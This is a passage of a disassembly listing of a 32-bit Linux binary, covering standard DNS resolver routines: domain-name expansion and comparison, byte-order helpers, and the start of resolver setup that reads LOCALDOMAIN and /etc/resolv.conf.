		shl	eax, 18h
		mov	edx, [ebp+var_C]
		shl	edx, 10h
		or	eax, edx
		mov	edx, [ebp+var_8]
		shl	edx, 8

loc_0_804D004:				; CODE XREF: sub_0_804CEB4+12Cj
		or	eax, edx

loc_0_804D006:				; CODE XREF: sub_0_804CEB4+116j
		or	esi, eax

loc_0_804D008:				; CODE XREF: sub_0_804CEB4+F9j
					; sub_0_804CEB4+105j
		cmp	[ebp+arg_4], 0
		jz	short loc_0_804D01C
		mov	eax, esi
		xchg	al, ah
		ror	eax, 10h
		xchg	al, ah
		mov	ecx, [ebp+arg_4]
		mov	[ecx], eax

loc_0_804D01C:				; CODE XREF: sub_0_804CEB4+158j
		mov	eax, 1

loc_0_804D021:				; CODE XREF: sub_0_804CEB4+13Aj
		lea	esp, [ebp+var_28]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_804CEB4	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_804D02C	proc near		; CODE XREF: sub_0_804B800+9Ap
					; sub_0_804B800+18Ap ...

var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	edi
		push	esi
		push	ebx
		mov	[ebp+var_4], 0FFFFFFFFh
		mov	[ebp+var_8], 0
		mov	ecx, [ebp+arg_C]
		mov	edi, ecx
		add	edi, [ebp+arg_10]
		mov	[ebp+var_C], edi
		mov	edi, [ebp+arg_8]
		movzx	esi, byte ptr [edi]
		mov	ebx, edi
		jmp	loc_0_804D257
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_804D05C:				; CODE XREF: sub_0_804D02C+22Ej
		mov	eax, esi
		and	eax, 0C0h
		jz	short loc_0_804D078
		cmp	eax, 0C0h
		jz	loc_0_804D210
		jmp	loc_0_804D24A
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_804D078:				; CODE XREF: sub_0_804D02C+37j
		cmp	[ebp+arg_C], ecx
		jz	short loc_0_804D08A
		cmp	[ebp+var_C], ecx
		jbe	loc_0_804D24A
		mov	byte ptr [ecx],	2Eh
		inc	ecx

loc_0_804D08A:				; CODE XREF: sub_0_804D02C+4Fj
		lea	eax, [esi+ecx]
		cmp	[ebp+var_C], eax
		jbe	loc_0_804D24A
		mov	edi, [ebp+var_8]
		lea	edi, [esi+edi+1]
		mov	[ebp+var_8], edi
		dec	esi
		js	loc_0_804D254
		mov	eax, esi
		not	eax
		and	eax, 3
		cmp	esi, 0FFFFFFFFh
		jle	short loc_0_804D121
		test	eax, eax
		jz	loc_0_804D155
		cmp	eax, 3
		jge	short loc_0_804D121
		cmp	eax, 2
		jge	short loc_0_804D0F3
		movzx	edx, byte ptr [ebx]
		inc	ebx
		cmp	edx, 2Eh
		jz	short loc_0_804D0D3
		cmp	edx, 5Ch
		jnz	short loc_0_804D0E4

loc_0_804D0D3:				; CODE XREF: sub_0_804D02C+A0j
		lea	eax, [esi+ecx+2]
		cmp	[ebp+var_C], eax
		jbe	loc_0_804D24A
		mov	byte ptr [ecx],	5Ch
		inc	ecx

loc_0_804D0E4:				; CODE XREF: sub_0_804D02C+A5j
		mov	al, dl
		mov	[ecx], al
		inc	ecx
		cmp	[ebp+arg_4], ebx
		jbe	loc_0_804D24A
		dec	esi

loc_0_804D0F3:				; CODE XREF: sub_0_804D02C+97j
		movzx	edx, byte ptr [ebx]
		inc	ebx
		cmp	edx, 2Eh
		jz	short loc_0_804D101
		cmp	edx, 5Ch
		jnz	short loc_0_804D112

loc_0_804D101:				; CODE XREF: sub_0_804D02C+CEj
		lea	eax, [esi+ecx+2]
		cmp	[ebp+var_C], eax
		jbe	loc_0_804D24A
		mov	byte ptr [ecx],	5Ch
		inc	ecx

loc_0_804D112:				; CODE XREF: sub_0_804D02C+D3j
		mov	al, dl
		mov	[ecx], al
		inc	ecx
		cmp	[ebp+arg_4], ebx
		jbe	loc_0_804D24A
		dec	esi

loc_0_804D121:				; CODE XREF: sub_0_804D02C+85j
					; sub_0_804D02C+92j
		movzx	edx, byte ptr [ebx]
		inc	ebx
		cmp	edx, 2Eh
		jz	short loc_0_804D12F
		cmp	edx, 5Ch
		jnz	short loc_0_804D140

loc_0_804D12F:				; CODE XREF: sub_0_804D02C+FCj
		lea	eax, [esi+ecx+2]
		cmp	[ebp+var_C], eax
		jbe	loc_0_804D24A
		mov	byte ptr [ecx],	5Ch
		inc	ecx

loc_0_804D140:				; CODE XREF: sub_0_804D02C+101j
		mov	al, dl
		mov	[ecx], al
		inc	ecx
		cmp	[ebp+arg_4], ebx
		jbe	loc_0_804D24A
		dec	esi
		js	loc_0_804D254

loc_0_804D155:				; CODE XREF: sub_0_804D02C+89j
		lea	esi, [esi+0]

loc_0_804D158:				; CODE XREF: sub_0_804D02C+1DCj
		movzx	edx, byte ptr [ebx]
		inc	ebx
		cmp	edx, 2Eh
		jz	short loc_0_804D166
		cmp	edx, 5Ch
		jnz	short loc_0_804D177

loc_0_804D166:				; CODE XREF: sub_0_804D02C+133j
		lea	eax, [esi+ecx+2]
		cmp	[ebp+var_C], eax
		jbe	loc_0_804D24A
		mov	byte ptr [ecx],	5Ch
		inc	ecx

loc_0_804D177:				; CODE XREF: sub_0_804D02C+138j
		mov	al, dl
		mov	[ecx], al
		inc	ecx
		cmp	[ebp+arg_4], ebx
		jbe	loc_0_804D24A
		lea	eax, [esi-1]
		movzx	edx, byte ptr [ebx]
		inc	ebx
		cmp	edx, 2Eh
		jz	short loc_0_804D196
		cmp	edx, 5Ch
		jnz	short loc_0_804D1A7

loc_0_804D196:				; CODE XREF: sub_0_804D02C+163j
		lea	eax, [eax+ecx+2]
		cmp	[ebp+var_C], eax
		jbe	loc_0_804D24A
		mov	byte ptr [ecx],	5Ch
		inc	ecx

loc_0_804D1A7:				; CODE XREF: sub_0_804D02C+168j
		mov	al, dl
		mov	[ecx], al
		inc	ecx
		cmp	[ebp+arg_4], ebx
		jbe	loc_0_804D24A
		lea	eax, [esi-2]
		movzx	edx, byte ptr [ebx]
		inc	ebx
		cmp	edx, 2Eh
		jz	short loc_0_804D1C6
		cmp	edx, 5Ch
		jnz	short loc_0_804D1D3

loc_0_804D1C6:				; CODE XREF: sub_0_804D02C+193j
		lea	eax, [eax+ecx+2]
		cmp	[ebp+var_C], eax
		jbe	short loc_0_804D24A
		mov	byte ptr [ecx],	5Ch
		inc	ecx

loc_0_804D1D3:				; CODE XREF: sub_0_804D02C+198j
		mov	al, dl
		mov	[ecx], al
		inc	ecx
		cmp	[ebp+arg_4], ebx
		jbe	short loc_0_804D24A
		lea	eax, [esi-3]
		movzx	edx, byte ptr [ebx]
		inc	ebx
		cmp	edx, 2Eh
		jz	short loc_0_804D1EE
		cmp	edx, 5Ch
		jnz	short loc_0_804D1FB

loc_0_804D1EE:				; CODE XREF: sub_0_804D02C+1BBj
		lea	eax, [eax+ecx+2]
		cmp	[ebp+var_C], eax
		jbe	short loc_0_804D24A
		mov	byte ptr [ecx],	5Ch
		inc	ecx

loc_0_804D1FB:				; CODE XREF: sub_0_804D02C+1C0j
		mov	al, dl
		mov	[ecx], al
		inc	ecx
		cmp	[ebp+arg_4], ebx
		jbe	short loc_0_804D24A
		add	esi, 0FFFFFFFCh
		jns	loc_0_804D158
		jmp	short loc_0_804D254
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_804D210:				; CODE XREF: sub_0_804D02C+3Ej
		cmp	[ebp+var_4], 0
		jge	short loc_0_804D21F
		mov	edi, ebx
		sub	edi, [ebp+arg_8]
		inc	edi
		mov	[ebp+var_4], edi

loc_0_804D21F:				; CODE XREF: sub_0_804D02C+1E8j
		mov	eax, esi
		and	eax, 3Fh
		shl	eax, 8
		movzx	edx, byte ptr [ebx]
		or	eax, edx
		mov	ebx, [ebp+arg_0]
		add	ebx, eax
		cmp	[ebp+arg_0], ebx
		ja	short loc_0_804D24A
		cmp	[ebp+arg_4], ebx
		jbe	short loc_0_804D24A
		add	[ebp+var_8], 2
		mov	eax, [ebp+arg_4]
		sub	eax, [ebp+arg_0]
		cmp	[ebp+var_8], eax
		jl	short loc_0_804D254

loc_0_804D24A:				; CODE XREF: sub_0_804D02C+44j
					; sub_0_804D02C+54j ...
		mov	eax, 0FFFFFFFFh
		jmp	short loc_0_804D296
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_804D254:				; CODE XREF: sub_0_804D02C+75j
					; sub_0_804D02C+123j ...
		movzx	esi, byte ptr [ebx]

loc_0_804D257:				; CODE XREF: sub_0_804D02C+2Aj
		inc	ebx
		test	esi, esi
		jnz	loc_0_804D05C
		mov	byte ptr [ecx],	0
		mov	ecx, [ebp+arg_C]
		movzx	edx, byte ptr [ecx]
		test	edx, edx
		jz	short loc_0_804D287
		mov	eax, tableBit
		lea	esi, [esi]

loc_0_804D274:				; CODE XREF: sub_0_804D02C+259j
		test	dl, dl
		jl	short loc_0_804D27F
		test	byte ptr [eax+edx*2+1],	20h
		jnz	short loc_0_804D24A

loc_0_804D27F:				; CODE XREF: sub_0_804D02C+24Aj
		inc	ecx
		movzx	edx, byte ptr [ecx]
		test	edx, edx
		jnz	short loc_0_804D274

loc_0_804D287:				; CODE XREF: sub_0_804D02C+23Fj
		cmp	[ebp+var_4], 0
		jge	short loc_0_804D293
		sub	ebx, [ebp+arg_8]
		mov	[ebp+var_4], ebx

loc_0_804D293:				; CODE XREF: sub_0_804D02C+25Fj
		mov	eax, [ebp+var_4]

loc_0_804D296:				; CODE XREF: sub_0_804D02C+223j
		lea	esp, [ebp+var_18]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_804D02C	endp

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_804D404	proc near		; CODE XREF: sub_0_805EFB0+88p
					; sub_0_805EFB0+E0p ...

var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		push	ebx
		mov	esi, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	eax, esi
		cmp	esi, ebx
		jnb	short loc_0_804D440
		lea	esi, [esi+0]

loc_0_804D418:				; CODE XREF: sub_0_804D404+3Aj
		movzx	edx, byte ptr [eax]
		inc	eax
		test	edx, edx
		jz	short loc_0_804D440
		mov	ecx, edx
		and	ecx, 0C0h
		jz	short loc_0_804D434
		cmp	ecx, 0C0h
		jz	short loc_0_804D438
		jmp	short loc_0_804D448
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_804D434:				; CODE XREF: sub_0_804D404+24j
		add	eax, edx
		jmp	short loc_0_804D43C
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_804D438:				; CODE XREF: sub_0_804D404+2Cj
		inc	eax
		jmp	short loc_0_804D440
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_804D43C:				; CODE XREF: sub_0_804D404+32j
		cmp	eax, ebx
		jb	short loc_0_804D418

loc_0_804D440:				; CODE XREF: sub_0_804D404+Fj
					; sub_0_804D404+1Aj ...
		cmp	eax, ebx
		ja	short loc_0_804D448
		sub	eax, esi
		jmp	short loc_0_804D44D
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_804D448:				; CODE XREF: sub_0_804D404+2Ej
					; sub_0_804D404+3Ej
		mov	eax, 0FFFFFFFFh

loc_0_804D44D:				; CODE XREF: sub_0_804D404+42j
		lea	esp, [ebp+var_8]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_804D404	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_804D484	proc near		; CODE XREF: sub_0_804D2A0+8Ep

var_30		= byte ptr -30h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_8]
		mov	[ebp+var_4], ecx
		jmp	loc_0_804D69C
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_804D498:				; CODE XREF: sub_0_804D484+21Ej
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_4]
		mov	ecx, [ecx]
		mov	[ebp+var_8], ecx
		movzx	esi, byte ptr [ecx]
		mov	edi, ecx
		jmp	loc_0_804D681
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_804D4B0:				; CODE XREF: sub_0_804D484+200j
		mov	eax, esi
		and	eax, 0C0h
		jz	short loc_0_804D4CC
		cmp	eax, 0C0h
		jz	loc_0_804D66C
		jmp	loc_0_804D6A8
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_804D4CC:				; CODE XREF: sub_0_804D484+33j
		dec	esi
		js	loc_0_804D656
		mov	eax, esi
		not	eax
		and	eax, 3
		cmp	esi, 0FFFFFFFFh
		jle	short loc_0_804D557
		test	eax, eax
		jz	loc_0_804D590
		cmp	eax, 3
		jge	short loc_0_804D557
		cmp	eax, 2
		jge	short loc_0_804D524
		cmp	byte ptr [ebx],	2Eh
		jz	loc_0_804D698
		cmp	byte ptr [ebx],	5Ch
		jnz	short loc_0_804D500
		inc	ebx

loc_0_804D500:				; CODE XREF: sub_0_804D484+79j
		movzx	eax, byte ptr [ebx]
		inc	ebx
		call	toupper(eax)
		mov	[ebp+var_C], eax
		movzx	eax, byte ptr [edi]
		inc	edi
		call	toupper(eax)
		cmp	[ebp+var_C], eax
		jnz	loc_0_804D698
		dec	esi

loc_0_804D524:				; CODE XREF: sub_0_804D484+6Bj
		cmp	byte ptr [ebx],	2Eh
		jz	loc_0_804D698
		cmp	byte ptr [ebx],	5Ch
		jnz	short loc_0_804D533
		inc	ebx

loc_0_804D533:				; CODE XREF: sub_0_804D484+ACj
		movzx	eax, byte ptr [ebx]
		inc	ebx
		call	toupper(eax)
		mov	[ebp+var_10], eax
		movzx	eax, byte ptr [edi]
		inc	edi
		call	toupper(eax)
		cmp	[ebp+var_10], eax
		jnz	loc_0_804D698
		dec	esi

loc_0_804D557:				; CODE XREF: sub_0_804D484+59j
					; sub_0_804D484+66j
		cmp	byte ptr [ebx],	2Eh
		jz	loc_0_804D698
		cmp	byte ptr [ebx],	5Ch
		jnz	short loc_0_804D566
		inc	ebx

loc_0_804D566:				; CODE XREF: sub_0_804D484+DFj
		movzx	eax, byte ptr [ebx]
		inc	ebx
		call	toupper(eax)
		mov	[ebp+var_14], eax
		movzx	eax, byte ptr [edi]
		inc	edi
		call	toupper(eax)
		cmp	[ebp+var_14], eax
		jnz	loc_0_804D698
		dec	esi
		js	loc_0_804D656

loc_0_804D590:				; CODE XREF: sub_0_804D484+5Dj
					; sub_0_804D484+1CCj
		cmp	byte ptr [ebx],	2Eh
		jz	loc_0_804D698
		cmp	byte ptr [ebx],	5Ch
		jnz	short loc_0_804D59F
		inc	ebx

loc_0_804D59F:				; CODE XREF: sub_0_804D484+118j
		movzx	eax, byte ptr [ebx]
		inc	ebx
		call	toupper(eax)
		mov	[ebp+var_18], eax
		movzx	eax, byte ptr [edi]
		inc	edi
		call	toupper(eax)
		cmp	[ebp+var_18], eax
		jnz	loc_0_804D698
		dec	esi
		cmp	byte ptr [ebx],	2Eh
		jz	loc_0_804D698
		cmp	byte ptr [ebx],	5Ch
		jnz	short loc_0_804D5D2
		inc	ebx

loc_0_804D5D2:				; CODE XREF: sub_0_804D484+14Bj
		movzx	eax, byte ptr [ebx]
		inc	ebx
		call	toupper(eax)
		mov	[ebp+var_1C], eax
		movzx	eax, byte ptr [edi]
		inc	edi
		call	toupper(eax)
		cmp	[ebp+var_1C], eax
		jnz	loc_0_804D698
		dec	esi
		cmp	byte ptr [ebx],	2Eh
		jz	loc_0_804D698
		cmp	byte ptr [ebx],	5Ch
		jnz	short loc_0_804D605
		inc	ebx

loc_0_804D605:				; CODE XREF: sub_0_804D484+17Ej
		movzx	eax, byte ptr [ebx]
		inc	ebx
		call	toupper(eax)
		mov	[ebp+var_20], eax
		movzx	eax, byte ptr [edi]
		inc	edi
		call	toupper(eax)
		cmp	[ebp+var_20], eax
		jnz	short loc_0_804D698
		dec	esi
		cmp	byte ptr [ebx],	2Eh
		jz	short loc_0_804D698
		cmp	byte ptr [ebx],	5Ch
		jnz	short loc_0_804D630
		inc	ebx

loc_0_804D630:				; CODE XREF: sub_0_804D484+1A9j
		movzx	eax, byte ptr [ebx]
		inc	ebx
		call	toupper(eax)
		mov	[ebp+var_24], eax
		movzx	eax, byte ptr [edi]
		inc	edi
		call	toupper(eax)
		cmp	[ebp+var_24], eax
		jnz	short loc_0_804D698
		dec	esi
		jns	loc_0_804D590

loc_0_804D656:				; CODE XREF: sub_0_804D484+49j
					; sub_0_804D484+106j
		movzx	esi, byte ptr [ebx]
		inc	ebx
		test	esi, esi
		jnz	short loc_0_804D663
		cmp	byte ptr [edi],	0
		jz	short loc_0_804D68F

loc_0_804D663:				; CODE XREF: sub_0_804D484+1D8j
		cmp	esi, 2Eh
		jz	short loc_0_804D67E
		jmp	short loc_0_804D698
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_804D66C:				; CODE XREF: sub_0_804D484+3Aj
		mov	eax, esi
		and	eax, 3Fh
		shl	eax, 8
		movzx	edx, byte ptr [edi]
		or	eax, edx
		mov	edi, [ebp+arg_4]
		add	edi, eax

loc_0_804D67E:				; CODE XREF: sub_0_804D484+1E2j
		movzx	esi, byte ptr [edi]

loc_0_804D681:				; CODE XREF: sub_0_804D484+24j
		inc	edi
		test	esi, esi
		jnz	loc_0_804D4B0
		cmp	byte ptr [ebx],	0
		jnz	short loc_0_804D698

loc_0_804D68F:				; CODE XREF: sub_0_804D484+1DDj
		mov	eax, [ebp+var_8]
		sub	eax, [ebp+arg_4]
		jmp	short loc_0_804D6AD
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_804D698:				; CODE XREF: sub_0_804D484+70j
					; sub_0_804D484+99j ...
		add	[ebp+var_4], 4

loc_0_804D69C:				; CODE XREF: sub_0_804D484+Fj
		mov	ecx, [ebp+arg_C]
		cmp	[ebp+var_4], ecx
		jb	loc_0_804D498

loc_0_804D6A8:				; CODE XREF: sub_0_804D484+40j
		mov	eax, 0FFFFFFFFh

loc_0_804D6AD:				; CODE XREF: sub_0_804D484+211j
		lea	esp, [ebp+var_30]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_804D484	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_804D6B8	proc near		; CODE XREF: sub_0_804B800+19Fp
					; sub_0_804B800+1ADp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		mov	dl, [eax]
		shl	dx, 8
		movzx	ax, byte ptr [eax+1]
		or	dx, ax
		movzx	eax, dx
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_804D6B8	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_804D6D4	proc near		; CODE XREF: sub_0_805F7E4+66p
					; sub_0_805F7E4+41Dp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		mov	cl, [edx]
		shl	ecx, 18h
		movzx	eax, byte ptr [edx+1]
		shl	eax, 10h
		or	ecx, eax
		movzx	eax, byte ptr [edx+2]
		shl	eax, 8
		or	ecx, eax
		movzx	eax, byte ptr [edx+3]
		or	ecx, eax
		mov	eax, ecx
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_804D6D4	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_804D744	proc near		; CODE XREF: sub_0_804A9D8+209p
					; sub_0_804A9D8+ACFp ...

var_430		= byte ptr -430h
var_424		= dword	ptr -424h
var_420		= dword	ptr -420h
var_41C		= dword	ptr -41Ch
var_418		= dword	ptr -418h
var_414		= dword	ptr -414h
var_410		= dword	ptr -410h
var_40C		= dword	ptr -40Ch
var_408		= dword	ptr -408h
var_404		= dword	ptr -404h
var_400		= byte ptr -400h
var_3FA		= byte ptr -3FAh
var_3F9		= byte ptr -3F9h
var_3F8		= byte ptr -3F8h
var_3F6		= byte ptr -3F6h

		push	ebp
		mov	ebp, esp
		sub	esp, 424h
		push	edi
		push	esi
		push	ebx
		mov	[ebp+var_410], 0
		mov	[ebp+var_414], 0
		mov	[ebp+var_418], 0
		mov	[ebp+var_41C], 0
		cmp	dword_0_8078544, 0
		jnz	short loc_0_804D78B
		mov	dword_0_8078544, 5

loc_0_804D78B:				; CODE XREF: sub_0_804D744+3Bj
		cmp	dword_0_8078548, 0
		jnz	short loc_0_804D79E
		mov	dword_0_8078548, 4

loc_0_804D79E:				; CODE XREF: sub_0_804D744+4Ej
		test	byte ptr dword_0_807854C, 1
		jnz	short loc_0_804D7B1
		mov	dword_0_807854C, 2C0h

loc_0_804D7B1:				; CODE XREF: sub_0_804D744+61j
		cmp	word_0_8078584,	0
		jnz	short loc_0_804D7C6
		call	sub_0_804DFB4
		mov	word_0_8078584,	ax

loc_0_804D7C6:				; CODE XREF: sub_0_804D744+75j
		mov	dword_0_8078558, 0
		mov	word ptr dword_0_8078554, 2
		mov	word ptr dword_0_8078554+2, 3500h
		mov	dword_0_8078550, 1
		and	byte_0_80786A8,	0F0h
		or	byte_0_80786A8,	1
		mov	dword_0_80786A4, 0
		call	getenv('LOCALDOMAIN')
		mov	ebx, eax
		test	ebx, ebx
		jz	loc_0_804D8B4
		push	offset byte_0_80785A4
		call	strncpy(byte_0_80785a4,ebx,255)
		inc	[ebp+var_414]
		mov	ebx, offset byte_0_80785A4
		mov	dword_0_8078588, offset	byte_0_80785A4
		mov	edx, offset dword_0_807858C
		xor	esi, esi
		cmp	byte_0_80785A4,	0
		jz	short loc_0_804D8AB
		nop	

loc_0_804D854:				; CODE XREF: sub_0_804D744+14Dj
		cmp	edx, offset unk_0_80785A0
		jnb	short loc_0_804D8A1
		cmp	byte ptr [ebx],	0Ah
		jz	short loc_0_804D8A1
		cmp	byte ptr [ebx],	20h
		jz	short loc_0_804D86B
		cmp	byte ptr [ebx],	9
		jnz	short loc_0_804D878

loc_0_804D86B:				; CODE XREF: sub_0_804D744+120j
		mov	byte ptr [ebx],	0
		mov	esi, 1
		jmp	short loc_0_804D88D
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_804D878:				; CODE XREF: sub_0_804D744+125j
		test	esi, esi
		jz	short loc_0_804D88D
		mov	[edx], ebx
		add	edx, 4
		xor	esi, esi
		mov	[ebp+var_418], 1

loc_0_804D88D:				; CODE XREF: sub_0_804D744+12Fj
					; sub_0_804D744+136j
		inc	ebx
		cmp	byte ptr [ebx],	0
		jnz	short loc_0_804D854
		jmp	short loc_0_804D8A1
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_804D898:				; CODE XREF: sub_0_804D744+165j
		mov	al, [ebx]
		add	al, 0F7h
		cmp	al, 1
		jbe	short loc_0_804D8AB
		inc	ebx

loc_0_804D8A1:				; CODE XREF: sub_0_804D744+116j
					; sub_0_804D744+11Bj ...
		cmp	byte ptr [ebx],	0
		jz	short loc_0_804D8AB
		cmp	byte ptr [ebx],	20h
		jnz	short loc_0_804D898

loc_0_804D8AB:				; CODE XREF: sub_0_804D744+10Dj
					; sub_0_804D744+15Aj ...
		mov	byte ptr [ebx],	0
		mov	dword ptr [edx], 0

loc_0_804D8B4:				; CODE XREF: sub_0_804D744+D1j
		call	fopen('/etc/resolv.conf','r')
		mov	[ebp+var_40C], eax
		add	esp, 8
		test	eax, eax
		jz	loc_0_804DDD2
		lea	ecx, [ebp+var_400]
		mov	[ebp+var_424], ecx

loc_0_804D8E0:				; CODE XREF: sub_0_804D744+1C6j
					; sub_0_804D744+1CFj ...
		call	fread(var_424,400h,var_40c)
		add	esp, 0Ch
		test	eax, eax
		jz	loc_0_804DD98
		cmp	[ebp+var_400], 3Bh
		jz	short loc_0_804D8E0
		cmp	[ebp+var_400], 23h
		jz	short loc_0_804D8E0
		call	strncmp(var_424,'domain',6)
		test	eax, eax
		jnz	loc_0_804D9C0
		cmp	[ebp+var_3FA], 20h
		jz	short loc_0_804D945
		cmp	[ebp+var_3FA], 9
		jnz	short loc_0_804D9C0

loc_0_804D945:				; CODE XREF: sub_0_804D744+1F6j
		cmp	[ebp+var_414], 0
		jnz	short loc_0_804D8E0
		lea	ebx, [ebp+var_3FA]
		cmp	[ebp+var_3FA], 20h
		jz	short loc_0_804D968
		cmp	[ebp+var_3FA], 9
		jnz	short loc_0_804D973
		lea	esi, [esi]

loc_0_804D968:				; CODE XREF: sub_0_804D744+217j
					; sub_0_804D744+228j ...
		inc	ebx
		cmp	byte ptr [ebx],	20h
		jz	short loc_0_804D968
		cmp	byte ptr [ebx],	9
		jz	short loc_0_804D968

loc_0_804D973:				; CODE XREF: sub_0_804D744+220j
		cmp	byte ptr [ebx],	0
		jz	loc_0_804D8E0
		cmp	byte ptr [ebx],	0Ah
		jz	loc_0_804D8E0
		call	strncpy(byte_0_80785a4,ebx,255)
		call	strpbrk(byte_0_80785a4,' \t\n')
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_0_804D9B0
		mov	byte ptr [ebx],	0

loc_0_804D9B0:				; CODE XREF: sub_0_804D744+267j
		mov	[ebp+var_418], 0
		jmp	loc_0_804D8E0
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_804D9C0:				; CODE XREF: sub_0_804D744+1E9j
					; sub_0_804D744+1FFj
		call	strncmp(var_424,'search',6)
		test	eax, eax
		jnz	loc_0_804DAD8
		cmp	[ebp+var_3FA], 20h
		jz	short loc_0_804D9F4
		cmp	[ebp+var_3FA], 9
		jnz	loc_0_804DAD8

loc_0_804D9F4:				; CODE XREF: sub_0_804D744+2A1j
		cmp	[ebp+var_414], 0
		jnz	loc_0_804D8E0
		lea	ebx, [ebp+var_3FA]
		cmp	[ebp+var_3FA], 20h
		jz	short loc_0_804DA1C
		cmp	[ebp+var_3FA], 9
		jnz	short loc_0_804DA27
		lea	esi, [esi+0]

loc_0_804DA1C:				; CODE XREF: sub_0_804D744+2CAj
					; sub_0_804D744+2DCj ...
		inc	ebx
		cmp	byte ptr [ebx],	20h
		jz	short loc_0_804DA1C
